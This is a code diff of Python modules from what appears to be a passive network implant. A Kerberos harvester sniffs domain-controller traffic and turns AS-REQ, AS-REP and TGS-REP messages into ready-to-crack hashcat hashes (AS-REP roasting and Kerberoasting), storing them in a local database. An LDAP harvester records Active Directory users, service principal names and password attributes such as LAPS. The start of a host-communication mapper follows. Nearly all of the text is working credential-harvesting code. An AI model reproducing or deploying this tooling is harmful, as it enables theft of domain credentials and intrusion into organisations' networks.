self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
self._total_tickets, len(self._realms), len(self._dcs),
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_tickets": self._total_tickets,
"realms": list(self._realms),
"domain_controllers": list(self._dcs),
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS kerberos_tickets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dc_ip TEXT NOT NULL,
realm TEXT,
username TEXT,
spn TEXT,
ticket_type TEXT NOT NULL,
hashcat_mode INTEGER,
hash_value TEXT
);
CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet->IP->TCP/UDP->Kerberos."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
if src_port != 88 and dst_port != 88:
return
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
# TCP Kerberos has 4-byte length prefix
if len(payload) > 4:
payload = payload[4:]
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
if src_port != 88 and dst_port != 88:
return
payload = raw[udp_offset + 8:]
else:
return
if len(payload) < 10:
return
# Determine direction: requests go TO port 88, responses come FROM port 88
if dst_port == 88:
client_ip = src_ip
dc_ip = dst_ip
else:
client_ip = dst_ip
dc_ip = src_ip
self._dcs.add(dc_ip)
self._parse_kerberos(ts, client_ip, dc_ip, payload)
def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
data: bytes) -> None:
"""Parse ASN.1/DER-encoded Kerberos message."""
if len(data) < 2:
return
# Kerberos messages use ASN.1 application tags
# AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
# TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
tag = data[0]
if tag & 0xE0 != 0x60: # Application constructed
return
msg_type = tag & 0x1F
# Read outer length
_, offset = self._asn1_length(data, 1)
if offset < 0 or offset >= len(data):
return
if msg_type == KRB_AS_REQ:
self._parse_as_req(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_AS_REP:
self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_TGS_REP:
self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)
def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
realm = ""
username = ""
enc_timestamp = ""
etype = 0
# Walk the ASN.1 SEQUENCE looking for known context tags
# AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # padata
# Look for PA-ENC-TIMESTAMP (type 2)
enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
if enc_ts:
enc_timestamp = enc_ts
etype = found_etype
elif ctx_num == 4: # req-body (KDC-REQ-BODY)
r, u = self._extract_req_body_info(ctx_data)
if r:
realm = r
if u:
username = u
pos = next_pos + length
if realm:
self._realms.add(realm)
# If we got an encrypted timestamp, emit for hashcat 7500
if enc_timestamp and username:
hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REQ", hashcat_mode, hash_value,
)
def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REP for AS-REP roasting hash (mode 18200)."""
realm = ""
username = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 6: # enc-part (EncryptedData)
etype, enc_part = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and username:
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_AS_REP_ROAST
else:
hashcat_mode = HASHCAT_AS_REP_ROAST
hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REP", hashcat_mode, hash_value,
)
def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse TGS-REP for Kerberoasting hash (mode 13100)."""
realm = ""
username = ""
spn = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 5: # ticket — contains the SPN and enc-part
t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
if t_spn:
spn = t_spn
if t_enc:
enc_part = t_enc
etype = t_etype
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and (username or spn):
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_KERBEROAST_RC4
elif etype == ETYPE_AES256_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES256
elif etype == ETYPE_AES128_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES128
else:
hashcat_mode = HASHCAT_KERBEROAST_RC4
hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, spn,
"TGS-REP", hashcat_mode, hash_value,
)
# ------------------------------------------------------------------
# ASN.1 helpers
# ------------------------------------------------------------------
@staticmethod
def _asn1_length(data: bytes, offset: int) -> tuple:
"""Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
if offset >= len(data):
return -1, offset
first = data[offset]
if first & 0x80 == 0:
return first, offset + 1
num_bytes = first & 0x7F
if num_bytes == 0 or offset + 1 + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
return length, offset + 1 + num_bytes
def _enter_sequence(self, data: bytes, offset: int) -> int:
"""Skip into a SEQUENCE tag and return offset to first element, or -1."""
if offset >= len(data) or data[offset] != 0x30:
return -1
_, new_offset = self._asn1_length(data, offset + 1)
return new_offset
def _read_string(self, data: bytes) -> str:
"""Read a GeneralString/UTF8String from ASN.1 data."""
if len(data) < 2:
return ""
# Skip tag byte
tag = data[0]
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return ""
return data[offset:offset + length].decode("utf-8", errors="replace")
def _extract_principal_name(self, data: bytes) -> str:
"""Extract principal name from a PrincipalName SEQUENCE."""
# PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
if ctx_num == 1: # name-string SEQUENCE OF GeneralString
name_data = data[next_pos:next_pos + length]
names = self._extract_string_sequence(name_data)
return "/".join(names) if names else ""
pos = next_pos + length
return ""
def _extract_string_sequence(self, data: bytes) -> list:
"""Extract strings from a SEQUENCE OF GeneralString."""
result = []
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return result
pos = seq_offset
while pos < len(data):
if pos >= len(data):
break
tag = data[pos]
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0 or next_pos + length > len(data):
break
try:
s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
result.append(s)
except Exception:
pass
pos = next_pos + length
return result
def _extract_encrypted_data(self, data: bytes) -> tuple:
"""Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return 0, ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 0: # etype INTEGER
etype = self._read_integer(ctx_data)
elif ctx_num == 2: # cipher OCTET STRING
if len(ctx_data) >= 2:
c_len, c_off = self._asn1_length(ctx_data, 1)
if c_len > 0 and c_off + c_len <= len(ctx_data):
cipher_hex = ctx_data[c_off:c_off + c_len].hex()
pos = next_pos + length
return etype, cipher_hex
def _extract_ticket_info(self, data: bytes) -> tuple:
"""Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
# Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
if len(data) < 2:
return "", 0, ""
# Skip application tag
if data[0] & 0xE0 == 0x60:
_, offset = self._asn1_length(data, 1)
else:
offset = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return "", 0, ""
spn = ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 2: # sname (PrincipalName)
spn = self._extract_principal_name(ctx_data)
elif ctx_num == 3: # enc-part (EncryptedData)
etype, cipher_hex = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
return spn, etype, cipher_hex
def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
"""Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", 0
pos = seq_offset
while pos < len(data) - 2:
# Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
if data[pos] != 0x30:
break
pa_len, pa_off = self._asn1_length(data, pos + 1)
if pa_len < 0:
break
pa_data = data[pa_off:pa_off + pa_len]
pa_type = 0
pa_value = b""
inner_pos = 0
while inner_pos < len(pa_data) - 2:
ctx_tag = pa_data[inner_pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
il, ip = self._asn1_length(pa_data, inner_pos + 1)
if il < 0:
break
if ctx_num == 1: # padata-type
pa_type = self._read_integer(pa_data[ip:ip + il])
elif ctx_num == 2: # padata-value
pa_value = pa_data[ip:ip + il]
inner_pos = ip + il
if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP
etype, cipher = self._extract_encrypted_data(pa_value)
if cipher:
return cipher, etype
pos = pa_off + pa_len
return "", 0
def _extract_req_body_info(self, data: bytes) -> tuple:
"""Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", ""
realm = ""
username = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 1: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 2: # realm
realm = self._read_string(ctx_data)
pos = next_pos + length
return realm, username
def _read_integer(self, data: bytes) -> int:
"""Read an ASN.1 INTEGER value."""
if len(data) < 2:
return 0
tag = data[0]
if tag != 0x02:
return 0
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return 0
return int.from_bytes(data[offset:offset + length], "big", signed=True)
# ------------------------------------------------------------------
# Ticket emission
# ------------------------------------------------------------------
def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
realm: str, username: str, spn: str,
ticket_type: str, hashcat_mode: int,
hash_value: str) -> None:
self._total_tickets += 1
record = (ts, client_ip, dc_ip, realm, username, spn,
ticket_type, hashcat_mode, hash_value)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
self.bus.emit("TICKET_HARVESTED", {
"source_ip": client_ip,
"dc_ip": dc_ip,
"realm": realm,
"username": username,
"spn": spn,
"ticket_type": ticket_type,
"hashcat_mode": hashcat_mode,
}, source_module=self.name)
logger.info(
"TICKET: %s %s@%s -> %s (hashcat -m %d)",
ticket_type, username, realm, dc_ip, hashcat_mode,
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Kerberos flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO kerberos_tickets "
"(timestamp, source_ip, dc_ip, realm, username, spn, "
"ticket_type, hashcat_mode, hash_value) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d kerberos tickets", len(batch))
+497
View File
@@ -0,0 +1,497 @@
#!/usr/bin/env python3
"""LDAP query harvester — passive Active Directory object inventory.
Parses LDAP SearchRequest and SearchResultEntry messages on port 389/3268
using BER/ASN.1 decoding. Extracts user objects (sAMAccountName, mail,
memberOf), group objects, computer objects, GPOs, SPNs, and detects
LAPS password reads (ms-Mcs-AdmPwd attribute access).
"""
import json
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# LDAP protocol tags
TAG_SEQUENCE = 0x30
TAG_INTEGER = 0x02
TAG_OCTET_STRING = 0x04
TAG_ENUMERATED = 0x0A
TAG_SET = 0x31
TAG_BOOLEAN = 0x01
# LDAP application tags (context-specific constructed)
LDAP_SEARCH_REQUEST = 0x63 # APPLICATION[3] CONSTRUCTED
LDAP_SEARCH_RESULT_ENTRY = 0x64 # APPLICATION[4] CONSTRUCTED
LDAP_SEARCH_RESULT_DONE = 0x65 # APPLICATION[5] CONSTRUCTED
# Interesting attributes (case-insensitive)
INTERESTING_ATTRS = {
"samaccountname", "userprincipalname", "mail", "memberof",
"distinguishedname", "objectclass", "cn", "name",
"serviceprincipalname", "description", "operatingsystem",
"dnshostname", "managedby", "gplink", "gpcfilesyspath",
"ms-mcs-admpwd", # LAPS password
"ms-mcs-admpwdexpirationtime",
"unicodepwd", "userpassword",
}
_DB_INIT = """
CREATE TABLE IF NOT EXISTS ldap_objects (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
dn TEXT DEFAULT '',
object_class TEXT DEFAULT '',
sam_account_name TEXT DEFAULT '',
attributes_json TEXT DEFAULT '{}',
source_ip TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_ldap_sam ON ldap_objects(sam_account_name);
CREATE INDEX IF NOT EXISTS idx_ldap_class ON ldap_objects(object_class);
CREATE INDEX IF NOT EXISTS idx_ldap_ts ON ldap_objects(timestamp);
"""
FLUSH_INTERVAL = 45
class LDAPHarvester(BaseModule):
"""Passively harvest AD objects from LDAP traffic."""
name = "ldap_harvester"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._seen_dns: set = set() # Dedup by DN
self._stats = {
"packets_processed": 0,
"search_requests": 0,
"result_entries": 0,
"users_found": 0,
"groups_found": 0,
"computers_found": 0,
"spns_found": 0,
"laps_reads_detected": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("LDAPHarvester requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 389 or port 3268", queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-ldap-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-ldap-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("LDAPHarvester started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("LDAPHarvester stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing LDAP packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract TCP payload and parse LDAP messages."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_header[12:16])
if len(ip_header) < ihl + 20:
return
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 5:
return
self._parse_ldap_messages(payload, src_ip, ts)
def _parse_ldap_messages(self, data: bytes, src_ip: str, ts: float) -> None:
"""Parse one or more LDAP messages from a TCP payload."""
pos = 0
while pos < len(data) - 2:
if data[pos] != TAG_SEQUENCE:
break
msg_len, len_size = self._read_ber_length(data[pos + 1:])
if msg_len <= 0:
break
msg_start = pos + 1 + len_size
msg_end = msg_start + msg_len
if msg_end > len(data):
break
msg_body = data[msg_start:msg_end]
self._parse_ldap_message(msg_body, src_ip, ts)
pos = msg_end
def _parse_ldap_message(self, msg: bytes, src_ip: str, ts: float) -> None:
"""Parse a single LDAP message (after outer SEQUENCE)."""
if len(msg) < 5:
return
# Message ID (INTEGER)
if msg[0] != TAG_INTEGER:
return
id_len = msg[1]
if id_len < 1 or 2 + id_len >= len(msg):
return
op_start = 2 + id_len
if op_start >= len(msg):
return
op_tag = msg[op_start]
op_len, op_len_size = self._read_ber_length(msg[op_start + 1:])
if op_len <= 0:
return
op_body = msg[op_start + 1 + op_len_size:op_start + 1 + op_len_size + op_len]
if op_tag == LDAP_SEARCH_REQUEST:
self._handle_search_request(op_body, src_ip, ts)
elif op_tag == LDAP_SEARCH_RESULT_ENTRY:
self._handle_search_result_entry(op_body, src_ip, ts)
def _handle_search_request(self, body: bytes, src_ip: str, ts: float) -> None:
"""Parse SearchRequest for base DN and filter."""
self._stats["search_requests"] += 1
# BaseObject (OCTET STRING)
base_dn = self._read_octet_string(body, 0)
if base_dn is None:
return
# Check if requesting LAPS password
body_str = body.decode("ascii", errors="replace").lower()
if "ms-mcs-admpwd" in body_str:
self._stats["laps_reads_detected"] += 1
logger.warning("LAPS password read detected from %s (base DN: %s)", src_ip, base_dn)
emit_credential_found(self.bus, self.name, {
"source": "laps_read",
"source_ip": src_ip,
"base_dn": base_dn,
"detail": "LAPS password attribute requested in LDAP search",
})
def _handle_search_result_entry(self, body: bytes, src_ip: str,
ts: float) -> None:
"""Parse SearchResultEntry to extract DN and attributes."""
self._stats["result_entries"] += 1
# ObjectName (OCTET STRING) = DN
dn = self._read_octet_string(body, 0)
if dn is None:
return
# Skip past the DN OCTET STRING
dn_tag_len, _ = self._skip_tlv(body, 0)
if dn_tag_len < 0:
return
# Attributes (SEQUENCE OF PartialAttribute)
attrs = {}
attr_data = body[dn_tag_len:]
if len(attr_data) < 2 or attr_data[0] != TAG_SEQUENCE:
# May be in a different format
pass
else:
attr_seq_len, attr_len_size = self._read_ber_length(attr_data[1:])
attr_body = attr_data[1 + attr_len_size:]
self._parse_partial_attributes(attr_body, attr_seq_len, attrs)
# Classify object
object_class = ""
sam = attrs.get("samaccountname", "")
classes = attrs.get("objectclass", "")
classes_lower = classes.lower() if isinstance(classes, str) else ""
if "user" in classes_lower or "person" in classes_lower:
object_class = "user"
self._stats["users_found"] += 1
elif "group" in classes_lower:
object_class = "group"
self._stats["groups_found"] += 1
elif "computer" in classes_lower:
object_class = "computer"
self._stats["computers_found"] += 1
elif "grouppolicycontainer" in classes_lower:
object_class = "gpo"
# Track SPNs
if "serviceprincipalname" in attrs:
self._stats["spns_found"] += 1
# Dedup
if dn in self._seen_dns:
return
self._seen_dns.add(dn)
if len(self._seen_dns) > 50000:
self._seen_dns.clear()
# Filter to interesting attributes only
filtered_attrs = {
k: v for k, v in attrs.items()
if k.lower() in INTERESTING_ATTRS
}
self._record_object(ts, dn, object_class, sam, filtered_attrs, src_ip)
def _parse_partial_attributes(self, data: bytes, max_len: int,
attrs: dict) -> None:
"""Parse SEQUENCE OF PartialAttribute."""
pos = 0
while pos < min(len(data), max_len) - 2:
if data[pos] != TAG_SEQUENCE:
break
seq_len, seq_len_size = self._read_ber_length(data[pos + 1:])
if seq_len <= 0:
break
attr_body = data[pos + 1 + seq_len_size:pos + 1 + seq_len_size + seq_len]
self._parse_single_attribute(attr_body, attrs)
pos += 1 + seq_len_size + seq_len
def _parse_single_attribute(self, data: bytes, attrs: dict) -> None:
"""Parse a single PartialAttribute (type + SET OF values)."""
# AttributeDescription (OCTET STRING)
attr_name = self._read_octet_string(data, 0)
if attr_name is None:
return
name_total, _ = self._skip_tlv(data, 0)
if name_total < 0:
return
# Values (SET OF AttributeValue)
val_data = data[name_total:]
if len(val_data) < 2 or val_data[0] != TAG_SET:
return
set_len, set_len_size = self._read_ber_length(val_data[1:])
if set_len <= 0:
return
set_body = val_data[1 + set_len_size:]
values = []
vpos = 0
while vpos < min(len(set_body), set_len) - 2:
val = self._read_octet_string(set_body, vpos)
if val is not None:
values.append(val)
total, _ = self._skip_tlv(set_body, vpos)
if total <= 0:
break
vpos += total
if len(values) == 1:
attrs[attr_name.lower()] = values[0]
elif values:
attrs[attr_name.lower()] = "; ".join(values)
# ------------------------------------------------------------------
# BER helpers
# ------------------------------------------------------------------
@staticmethod
def _read_ber_length(data: bytes) -> tuple:
"""Read BER length. Returns (length, bytes_consumed)."""
if not data:
return (0, 0)
first = data[0]
if first < 0x80:
return (first, 1)
num_bytes = first & 0x7F
if num_bytes == 0 or len(data) < 1 + num_bytes:
return (0, 0)
length = 0
for i in range(num_bytes):
length = (length << 8) | data[1 + i]
return (length, 1 + num_bytes)
def _read_octet_string(self, data: bytes, offset: int) -> Optional[str]:
"""Read an OCTET STRING at offset. Returns decoded string or None."""
if offset >= len(data) - 1:
return None
tag = data[offset]
if tag != TAG_OCTET_STRING:
return None
length, len_size = self._read_ber_length(data[offset + 1:])
if length <= 0:
return None
start = offset + 1 + len_size
if start + length > len(data):
return None
try:
return data[start:start + length].decode("utf-8", errors="replace")
except Exception:
return None
def _skip_tlv(self, data: bytes, offset: int) -> tuple:
"""Skip past a TLV element. Returns (total_bytes, tag)."""
if offset >= len(data):
return (-1, 0)
tag = data[offset]
length, len_size = self._read_ber_length(data[offset + 1:])
if length < 0:
return (-1, 0)
total = 1 + len_size + length
return (total, tag)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "ldap_harvester.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_object(self, ts: float, dn: str, object_class: str,
sam: str, attrs: dict, src_ip: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, dn, object_class, sam, json.dumps(attrs), src_ip
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO ldap_objects
(timestamp, dn, object_class, sam_account_name,
attributes_json, source_ip)
VALUES (?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush LDAP objects")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+381
View File
@@ -0,0 +1,381 @@
#!/usr/bin/env python3
"""Network relationship mapper — passive communication graph builder.
Builds a graph of all observed host-to-host communication with protocol,
byte count, and packet count metadata. Identifies roles (servers, clients,
admin workstations, printers) and generates Graphviz DOT output. Periodic
snapshots for change_detector consumption.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
TCP_PROTO = 6
UDP_PROTO = 17
# Role detection thresholds
SERVER_INBOUND_THRESHOLD = 5 # Unique source IPs connecting in
CLIENT_OUTBOUND_THRESHOLD = 10 # Unique dest IPs connected to
ADMIN_SSH_RDP_THRESHOLD = 3 # Unique SSH/RDP destinations
PRINTER_PORT = 9100
_DB_INIT = """
CREATE TABLE IF NOT EXISTS connections (
id INTEGER PRIMARY KEY AUTOINCREMENT,
src_ip TEXT NOT NULL,
dst_ip TEXT NOT NULL,
protocol TEXT NOT NULL,
port INTEGER NOT NULL,
bytes_total INTEGER DEFAULT 0,
packets INTEGER DEFAULT 0,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
relationship_type TEXT DEFAULT '',
UNIQUE(src_ip, dst_ip, protocol, port)
);
CREATE INDEX IF NOT EXISTS idx_conn_src ON connections(src_ip);
CREATE INDEX IF NOT EXISTS idx_conn_dst ON connections(dst_ip);
"""
FLUSH_INTERVAL = 45
